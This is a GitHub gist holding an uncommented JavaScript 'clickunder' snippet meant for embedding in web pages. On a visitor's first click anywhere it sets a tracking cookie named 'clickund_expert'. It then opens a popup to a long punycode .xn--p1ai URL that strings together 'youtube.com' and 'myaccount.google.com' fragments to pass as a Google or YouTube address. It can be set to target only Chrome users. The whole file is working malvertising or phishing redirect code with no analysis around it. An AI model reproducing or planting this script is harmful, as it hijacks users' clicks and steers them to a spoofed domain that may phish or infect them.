Created
February 15, 2018 22:11
-
-
Save acv/b54dfc5bde5438a5aa681091fc344303 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getCookie(name) { | |
var value = "; " + document.cookie; | |
var parts = value.split("; " + name + "="); | |
if (parts.length == 2) | |
return parts.pop().split(";").shift(); | |
else | |
return false | |
} | |
var idToRedirect = document.currentScript.getAttribute('id'); | |
var isToChrome = document.currentScript.getAttribute('data-type'); | |
var contn = 0; | |
if (isToChrome == 1) { | |
if (navigator.userAgent.indexOf("Chrome") != -1) { | |
var contn = 1 | |
} | |
} else { | |
var contn = 1 | |
} | |
if (contn == 1 && !getCookie("clickund_expert")) { | |
window.onload = function () { | |
document.body.addEventListener('click', function (event) { | |
var now = new Date(); | |
var time = now.getTime(); | |
time += 3600 * 1000; | |
now.setTime(time); | |
document.cookie = "clickund_expert=1; " + now.toUTCString() + ";path=/"; | |
window.open('http://www.youtube.com.channel.UC5hRp.--o1aqy.xnSH7hpAr.xn--o1aqy.ocNo1aqy.xn--p1ai.ig.U4Rp66Hhp5rocNuolFeO4Aig.--o1aqy.xn--i1av6a.xn--p1ai/7aqy.xn--p1ai.o1aqy.xn--p1ai.myaccount.google.com/imgres/imgurl/?imgurl=https%3A%2F%2Flh3.googleusercontent.com%2FNed_Tu_ge6GgJZ_lIO_5mieIEmjDpq9kfgD05wapmvzcInvT4qQMxhxq_hEazf8ZsqA%3Dw300&imgrefurl=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fod%3Dcom.google.androod.youtube%26hl%3Dru&docod=vGdPBuKpiSuZ4M&tbnod=EpkcoX__82qDrM%3A&vet=10ahUKEwjpl4-ilaDZAhXEtRQKHetXBn8QMwg9KAEwAQ..i&w=300&h=300&bih=789&biw=1600&q=aqy.xn--p1ai&ved=0ahUKEwjpl4-ilaDZAhXEtRQKHetXBn8QMwg9KAEwAQ&iact=mrc&uact=0'); | |
this.removeEventListener('click', arguments.callee, false) | |
}) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment